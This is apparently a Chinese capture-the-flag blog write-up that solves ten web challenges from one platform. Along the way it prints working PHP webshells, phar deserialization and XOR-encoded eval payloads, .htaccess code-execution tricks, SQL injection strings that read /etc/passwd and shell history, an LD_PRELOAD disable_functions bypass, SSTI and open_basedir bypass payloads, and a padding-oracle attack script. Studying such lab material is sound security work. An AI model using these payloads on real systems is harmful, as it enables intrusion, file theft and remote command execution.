BUUCTF平台 web writeup 第三弹

第二弹:http://eustiar.com/archives/521
咕了很久,主要是暑假的后半段在准备保研的事情,前几天复试终于是通过了,大四养猪生活也开始了,回归一下正轨
一段时间没看,赵师傅的平台越来越高大上了,不仅题目越来越多,还用了动态靶机,膜一波

1.ezcms

扫描得到源码www.zip
审计发现可使用哈希长度扩展攻击成为admin

用hashpump生成一下

用相应的payload作为密码登录,同时添加一个名为user的cookie
解锁上传文件功能
上传的文件会保留原本的后缀名,但是由于.htaccess的存在无法解析php
继续审计可以发现存在phar反序列化利用点,可参考https://paper.seebug.org/680/
mime_content_type的实现中读取了文件,所以可以触发反序列化
可以看到有一个利用链:File类的__destrct方法到Profile的__call方法调用open,php内置类含有open的类有ZipArchive,它可以通过指定第二个参数为overwrite来删除.htaccess的内容
生成phar的脚本:

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct()
    {
        $this->checker = new Profile();
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
    	$this->admin = new ZipArchive();
    	$this->username = './sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess';
    	$this->password = ZIPARCHIVE::OVERWRITE;
    }

    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}
    $o = new File();
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o); 
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

将生成的phar上传,同时上传一个shell,关键字过滤可以通过拼接绕过:

<?php
$a = "syste"."m";
$a($_GET['b']);
?>

在view.php利用phar读上传的phar文件来删除.htaccess,因为黑名单正则只匹配开头,所以可以通过如下方式绕过:

http://abbdc93a-c668-4ded-966c-e81fc0f158d3.node1.buuoj.cn/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://./sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar

然后使用shell来getflag

2.[SUCTF]easyweb

直接给了源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

思路比较清晰,通过eval调用get_the_flag上传shell
首先是常见的无黑名单字符shell,异或可以用,fuzz一下构造_GET
因为有一些url保留字符和不安全字符会被错误解析,所以直接用不可见字符进行异或

import string
def fuzz(target, dic=string.printable):
    for k in target:
        thisone = []
        for i in dic:
            for j in dic:
                tem = ord(i) ^ ord(j)
                if chr(tem) == k:
                    temp = []
                    temp.append(str(hex(ord(i))) + "^" + str(hex(ord(j))))
                    thisone.append(temp)
        print("{}:".format(k), end='')
        print(thisone)

dic = ''
black = string.printable
for i in range(256):
    if chr(i) not in black:
        dic += chr(i)
fuzz('_GET', dic)

payload:

_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

成功执行phpinfo

然后是上传文件,有三个限制
1.后缀名不能含有ph
2.文件内容不包含%3c%3F
3.使用exif_imagetype检测为图片
第一条考虑上传.htaccess解析其他文件,第二条考虑编码(比如base64),第三条查了一下支持的图片有这些

其中的XBM图片格式如下

#define width 48
#define height 9
static unsigned charcounter_bits[]={ff,3c,7c,3c,70,3c,fe,7c,fe,7c,78,7c,ee,ee,ee,ee,7c,ee,e0,ee,60,ee,74,ee,70,fe,30,
fe,70,fe,38,ec,e0,ec,70,ec,1c,e0,ee,e0,70,e0,fe,7e,fe,7e,70,7e,fe,3c,7c,3c,70,3c}

经测试只要头部有宽高的那两行就可以绕过检测,同时他是在注释里的,可以使.htaccess成功解析
可以通过如下方式进行上传

<form enctype="multipart/form-data" action="http://12750b97-6324-4b10-9a9f-0331ccab9b89.node1.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="POST">
    Send this file: <input name="file" type="file" />
    <input type="submit" value="Send File" />
</form>

保存为html后打开

.htaccess中的

php_value auto_append_file "php://filter/convert.base64-decode/resource=1.eustiar"

会将1.eustiar中的内容base64解码后添加到该目录下所有文件的开头
因为base64解码也包括#define两句,所以注意调节一下长度(比如width 100改成width 1000)使其成功解析
上传成功后发现因为设置了open_basedir,只能读/tmp,想到了之前推特上的open_basedir bypass的poc

最终payload:

http://26ec7491-51f1-4f4e-a2ea-a81eb4693759.node1.buuoj.cn/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.eustiar?cmd=chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo readfile('/THis_Is_tHe_F14g');

3.[XNUCA2019]ezphp

(感觉最近一直在碰到.htaccess的题目
直接给了源码

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

可以写文件,文件名只能包含小写字母和点,内容有黑名单过滤
尝试直接写shell,发现无法解析

尝试写.htaccess,content最后会连接\nJust one chance导致无法生效,可以加# \,使其被注释(是不是因为.htaccess支持\换行注释?哪位师傅了解请务必跟我说一下)
同样可以用一个反斜杠进行换行绕过黑名单限制
payload:

/?filename=.htaccess&content=php_value%20auto_append_fi\%0ale%20".htaccess"%0a%23<?php%20system($_GET[1]);%20?>%5C&1=cat%20/flag

4.comment

进去之后可以发帖,但是要先登录

爆破得后三位为666
进去之后简单尝试了一下没有ssti和xss
扫目录发现.git
githack下来发现不全
搜了一下,可以用git_extract
得到源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

发现存在一个二次注入
在write中,虽然参数经过了addslashes,但是存入数据库后是没有转义符号的,在comment这一步中直接从数据库取出数据进行拼接,所以会产生注入
不过因为sql语句是换行写的,没法直接#注释后面内容,可以通过write时最后加/*,在comment时加*/#进行闭合以及注释后面内容
payload:
',content=database(),/*
然后评论*/#
即可得到数据库名称
找了一圈没找到数据库里有flag
用loadfile读一下文件
',content=(select load_file('/etc/passwd')),/*

有一个www用户
看一下主目录下操作记录
',content=(select load_file('/home/www/.bash_history')),/*

读一下这个.DS_Store,因为.DS_Store有很多不可见字符,用hex转一下
',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
得到:

读这个文件得到flag:
',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

5.[CISCN2019 华北赛区 Day1 Web5]CyberPunk

f12以下看到提示file=?,利用伪协议读所有文件
看了一下,change.php存在二次注入,address参数经过addslashes,但是再次修改时会从数据库中取出使用,造成二次注入
可以使用报错注入:
1' where user_id=updatexml(1,(select load_file("/flag.txt")),1)%23
因为一次回显不全,所以可以用substr分两次得到flag

6.[ByteCTF2019]babyblog

进入之后是个登录窗口,注册个账号进去是一个类似留言板的东西
“据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码” ——P神
扫一下获得源码www.zip
审计发现在edit.php中存在二次注入,关键代码:

if($_SESSION['id'] == $row['userid']){
		$title = addslashes($_POST['title']);
		$content = addslashes($_POST['content']);
		$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
		exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
	}else{
		exit("<script>alert('You do not have permission.');history.go(-1);</script>");
	}

title经过addslashes进行转义,但存入了数据库,在再次edit时直接从数据库中拿出来拼接,造成二次注入
虽然config.php对提交的数据进行了过滤,但其实并不严格
这里可以通过如下payload进行盲注脱库:
1'^(ascii(mid(database(),1,1))>1)#
当异或右侧为真时,编辑会无法再改变其内容,当其为假时可以改变
这里我思考了半天后来终于想明白了是为什么
二者异或之后得到一个数字0或者1,然后mysql在用这个数字与title进行比较时进行了隐式转换:

所以形成了二值逻辑
写个脚本可以脱裤子,但发现并无卵用,库里只有自己一个用户
继续审计可以看到replace.php中有preg_replace,其中参数均可控,想到了带e参数的preg_replace在成功匹配到模式串后可以eval(同时想起了自己第一次得奖的线下赛就是错过了一个preg_replace损失惨重)

if($row['isvip'] == 1){
	if(isset($_GET['id'])){
		foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){
			$row = $v;
		}
		if($_SESSION['id'] == $row['userid']){
			include("templates/replace.html");
			exit();
		}else{
			exit("<script>alert('You do not have permission.');history.go(-1);</script>");
		}
	}	

	if(isset($_POST['find']) && isset($_POST['replace']) && isset($_POST['id'])){
		foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
			$row = $v;
		}
		if($_SESSION['id'] == $row['userid']){
			if(isset($_POST['regex']) && $_POST['regex'] == '1'){
				$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
				$sql->query("update article set content='$content' where id=" . $row['id'] . ";");
				exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
			}else{
				$content = addslashes(str_replace($_POST['find'], $_POST['replace'], $row['content']));
				$sql->query("update article set content='$content' where id=" . $row['id'] . ";");
				exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
			}
		}else{
			exit("<script>alert('You do not have permission.');history.go(-1);</script>");
		}
	}
}else{
	exit("<script>alert('You are not VIP so you cannot use this function.');history.go(-1);</script>");
}

但是首先我们得成为vip,这里用到刚才二次注入的地方,使用堆叠注入修改自己库中的isvip属性
payload:
1';SET @s=concat(char(117,112,100,97,116,101)," users set isvip=1 where username='Eustiar';");PREPARE hello FROM @s;EXECUTE hello;#
因为config过滤了update,所以concat一下char
成为vip后可以利用%00截断借助preg_replace来rce

注意,只有能匹配到模式串才会eval,所以别忘了find部分要能匹配对应的content
看了一下发现disable_function禁用了很多函数
对照一下找找能用的方法https://github.com/l3m0n/Bypass_Disable_functions_Shell
进行绕过即可,这里的步骤跟之前TCTF的题很像,有兴趣可以看看我这篇文章
error_log并没有被禁用,按照这篇文章的步骤

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
int geteuid ()
{
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/flag.txt");
}

编译为.so文件:
gcc -shared -fPIC bypass.c -o bypass.so
上传到/tmp目录下

然后设置LD_PRELOAD,通过error_log触发c代码
replace=eval('putenv("LD_PRELOAD=/tmp/bypass3.so");error_log("err",1,"","");die();')&find=e/e%00&id=1®ex=1

可以看到flag.txt了,接下来读一下就好了
|
|
|
|
|
|
|
|
按理说是这样的,但是赵师傅就是不走寻常路的男人,读flag.txt后你会发现

readflag被魔改过了
测试没法反弹shell,也没法知道这个readflag是怎样的逻辑,想了一下,上赵师傅放题目的github看一眼,发现了备注

当即clone一份,翻了翻以前的分支,找到了这个readflag
拖进ida,f5

数字都是随机生成的,最后要算一下这个值,其中还调用了ualarm函数,ualarm()函数通过SIGALRM信号结束进程,这样一来我们需要在进程结束之前计算完并提交结果,google了一番找到了这是一个题目,官方使用perl解决(WP:https://www.secpulse.com/archives/105333.html
把他修改一下,让他把获得的flag写到tmp目录下:

use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
open(FILE,">/tmp/flag.txt");
syswrite(FILE,"$r");
close(FILE);

将上述脚本传到tmp目录下保存为test.pl

重新写一下c,编译成.so文件并上传

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
int geteuid ()
{
    unsetenv("LD_PRELOAD");
    system("perl /tmp/test.pl");
}

通过error_log触发,最后读flag

7.l33t-hoster

进去是一个上传页面,f12看到提示,提交source参数给源码:

<?php
if (isset($_GET["source"])) 
    die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
    $_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
    mkdir($userdir);
}

$disallowed_ext = array(
    "php",
    "php3",
    "php4",
    "php5",
    "php7",
    "pht",
    "phtm",
    "phtml",
    "phar",
    "phps",
);


if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }

    $tmp_name = $_FILES["image"]["tmp_name"];
    $name = $_FILES["image"]["name"];
    $parts = explode(".", $name);
    $ext = array_pop($parts);

    if (empty($parts[0])) {
        array_shift($parts);
    }

    if (count($parts) === 0) {
        die("lol filename is empty");
    }

    if (in_array($ext, $disallowed_ext, TRUE)) {
        die("lol nice try, but im not stupid dude...");
    }

    $image = file_get_contents($tmp_name);
    if (mb_strpos($image, "<?") !== FALSE) {
        die("why would you need php in a pic.....");
    }

    if (!exif_imagetype($tmp_name)) {
        die("not an image.");
    }

    $image_size = getimagesize($tmp_name);
    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
        die("lol noob, your pic is not l33t enough");
    }

    $name = implode(".", $parts);
    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
    echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";

?>

要上传shell上去,ban掉了%3c%3f,考虑用.htaccess/.user.ini之类的配置文件进行getshell
要求image宽高都为1337,想到了上面第二题用到的XBM格式,刚好可以用在这里通过.htaccess来上传shell(#在.htaccess中是注释符
具体地:
上传.htaccess,文件名使用..htaccess以绕过限制

上传提供shell语句的文件,其中base64部分为一句话木马,注意,因为通过auto_prepend_file添加语句时是将整个文件都添加,所以前面define的部分也会被base64解码,而在php中,碰到无法解码的部分会跳过,所以说有可能解析不出我们想要的shell语句,所以在我在前面重复添加了三个字符PD9(不一定是这个数量,总之多试试)来消除对后面的影响

最后上传shell本体

getshell

直接读flag读不出来,但是看到根目录下有个get_flag,要想办法运行它
看一下phpinfo
ban了system之类的系统函数,但没有ban掉mail函数,可以用常用的LD_PRELOAD来绕过
具体过程可以google一下,也可以看看我之前写的wp,不过这里可以直接用mail方法,不用通过别的扩展调用
之前我都是一句命令都要重新编译一次.so文件,很麻烦,这次piao到了别的大佬的一个方法:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/_0utput.txt");
  system(buf);}

int getuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}

这样就可以通过putenv设置环境变量来执行命令了
具体地:
将上述c文件编译为.so文件,因为file_put_contents被ban了,所以上传并使用move_uploaded_file放到/tmp文件夹下(哪里都行,用着顺手就行)

def upload(filename):
    files = {'file': open(filename, 'rb').read()}
    data = {'eustiar':'move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "/tmp/{}");'.format(filename)}
    res = requests.post(url, files=files, data=data)

然后可以执行系统命令

def exec(cmd):
    c = "putenv('LD_PRELOAD=/tmp/bypass.so');putenv('_evilcmd={}');mail('a','a','a');echo file_get_contents('/tmp/_0utput.txt');".format(cmd)
    res = requests.post(url, data={'eustiar':c})
    print(res.text)

执行get_flag发现要计算一段表达式

把他down下来逆了一下,就是纯粹的5个随机数相加,用上一题的那个perl脚本,稍微修改一下,但是我要吐槽一下,这里用的脚本需要先chdir到根目录然后open3打开./get_flag,直接open3 /get_flag不会出结果,不知道为什么,(可能是perl的feature?我对perl不熟)这个浪费了我好长时间

use strict;
use IPC::Open3;
chdir('/');
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, './get_flag' )
  or die "open3() failed $!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

上传后执行这个脚本即可

8.[CISCN2019 华东南赛区]Double Secret

进入之后只有一行字
Welcome To Find Secret
访问/secret,又是一行字:
Tell me your secret.I will encrypt it so others can't see
尝试提交secret,发现有回显,比如
secret=1
回显d
经过尝试发现超过4个字符会报错,其中暴露了部分源码

尝试单个ascii超过127的符号,例如%ff,会是另一种报错,同时暴露了另一个文件的部分源码

目前看来是对提交的secret进行了RC4加密,然后用render_template_string将加密后的内容返回,safe函数估计是waf
先去学一波RC4的原理
原来RC4的加解密是同一个过程,明文加密变为密文,密文再加密变为明文
key他已经给了,写个脚本:

class RC4:
    def __init__(self, key):
        self.key = key
        self.key_length = len(key)
        self._init_S_box()

    def _init_S_box(self):
        self.Box = [i for i in range(256)]
        k = [self.key[i % self.key_length] for i in range(256)]
        j = 0
        for i in range(256):
            j = (j + self.Box[i] + ord(k[i])) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]

    def crypt(self, plaintext):
        i = 0
        j = 0
        result = ''
        for ch in plaintext:
            i = (i + 1) % 256
            j = (j + self.Box[i]) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
            t = (self.Box[i] + self.Box[j]) % 256
            result += chr(self.Box[t] ^ ord(ch))
        return result

直接读即可:

a = RC4('HereIsTreasure')
cmd = "{{ [].__class__.__base__.__subclasses__()[40]('/flag.txt').read() }}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)

貌似safe函数并没有生效,相当于是一个裸的ssti

9.[CISCN2019 华东南赛区]Web11

进去之后是这样一个页面

访问/xff和/api会重定向,用curl试一下:

显示的是首页看到的

联系xff这个路径名,尝试带XFF提交:

发现存在ssti
尝试之后根据报错发现这是一个php的smarty模板,可以直接读flag

10.[NJCTF2017]Be admin

进去之后是一个登录框,试了一下name可以盲注,注了半天啥都没有
从index.php.bak获得源码

<?php
include 'config.php';
error_reporting(0);
define("SECRET_KEY", "this_is_key_you_do_not_know");
define("METHOD", "aes-128-cbc");

session_start();

function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
}

function get_identity()
{
    global $defaultId;
    $j = $defaultId;
    $token = get_random_token();
    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("ID", base64_encode($c));
    setcookie("token", base64_encode($token));
    if ($j === 'admin') {
        $_SESSION['isadmin'] = true;
    } else $_SESSION['isadmin'] = false;

}

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

function login($encrypted_pass, $pass)
{
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
    $cipher = substr($encrypted_pass, 16);
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    return $password == $pass;
}



function need_login($message = NULL) {
    echo "   <!doctype html>
        <html>
        <head>
        <meta charset=\"UTF-8\">
        <title>Login</title>
        <link rel=\"stylesheet\" href=\"CSS/target.css\">
            <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
        </head>
        <body>";
    if (isset($message)) {
        echo "  <div>" . $message . "</div>\n";
    }
    echo "<form method=\"POST\" action=''>
            <div class=\"body\"></div>
                <div class=\"grad\"></div>
                    <div class=\"header\">
                        <div>Log<span>In</span></div>
                    </div>
                    <br>
                    <div class=\"login\">
                        <input type=\"text\" placeholder=\"username\" name=\"username\">
                        <input type=\"password\" placeholder=\"password\" name=\"password\">               
                        <input type=\"submit\" value=\"Login\">
                    </div>
                     <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
            </form>
        </body>
    </html>";
}

function show_homepage() {
    echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
    global $flag;
    printf("Hello ~~~ ctfer! ");
    if ($_SESSION["isadmin"])
        echo $flag;
    echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";

}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $query = "SELECT username, encrypted_pass from users WHERE username='$username'";
    $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
    if ($row = $res->fetch_assoc()) {
        $uname = $row['username'];
        $encrypted_pass = $row["encrypted_pass"];
    }
    
    if ($row && login($encrypted_pass, $password)) {
        echo "you are in!" . "</br>";
        get_identity();
        show_homepage();
    } else {
        echo "<script>alert('login failed!');</script>";
        need_login("Login Failed!");
    }

} else {
    test_identity();
    if (isset($_SESSION["id"])) {
        show_homepage();
    } else {
        need_login();
    }
}

审计一下
存在sql注入,可以通过username=' union select 1,1#&password=的方式登录
登陆后会将你标记为defaultID,其内容经过cbc模式加密,其中有一段关键代码:

if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }

这里的else分支不仅有不是admin的情况,还有openssl_decrypt返回为空(解密失败)的情况,联想到padding oracle attack
具体原理可以看我以前写的一篇文章
这里直接放个脚本:

import base64
import requests
import time
import urllib.parse
def xor(str1, str2):
    return ''.join([chr(ord(str1[i]) ^ ord(str2[i])) for i in range(len(str1))])

def attack():
    data = base64.b64decode('rj1zRttOrk88BTGJf4asMw==')
    iv = base64.b64decode('gjjlvr0Tibo/HPmXkuNHdw==')
    signed_key = iv + data
    N = 16
    url = 'http://d92852b0-217d-4268-b879-8d1de157e4e4.node3.buuoj.cn/'
    blocknum = len(signed_key) // N - 1
    plaintext = ''
    for block in range(blocknum):
        current_iv = signed_key[block * N:block * N + N]
        cipher = signed_key[block * N + N:block * N + N * 2]
        tmp_value = ''
        for i in range(1, N + 1):
            length = len(tmp_value)
            for j in range(256):
                time.sleep(0.05)
                padding = xor(tmp_value, chr(i) * (i - 1))
                new_iv = chr(0) * (N - i) + chr(j) + padding
                new_token = base64.b64encode(new_iv.encode('iso-8859-1')).decode('iso-8859-1')
                new_id = base64.b64encode(cipher).decode('iso-8859-1')
                cookies = {
                    'PHPSESSID': 'urvbkb98t4jmsmpvcassrq6ot2',
                    'id': urllib.parse.quote(new_id),
                    'token': urllib.parse.quote(new_token)
                }
                res = requests.get(url, cookies=cookies)
                if 'ERROR' not in res.text:
                    print(j ^ i ^ iv[-i])
                    tmp_value = chr(j ^ i) + tmp_value
                    break
            if len(tmp_value) == length:
                print('第{}块第{}位出错'.format(block+1, N - i))
                exit()
        plain = xor(tmp_value, current_iv.decode('iso-8859-1'))
        print(plain)
        plaintext += plain
    print(plaintext)

if __name__ == '__main__':
    attack()

data为ID,iv为token
注意,这里有两个坑点,可能跟复现环境有关
第一是id和token传输前要urlencode一下,要不然会出错
第二是第一位爆破不出来,而第二位往后依次为uest,猜一下为guest
再使用CBC字节翻转攻击将guest修改为admin即可获得flag
流程跟我这篇文章差不多,可以看一下

未完待续。。。

打赏作者

“BUUCTF平台 web writeup 第三弹”的一个回复

发表评论

电子邮件地址不会被公开。 必填项已用*标注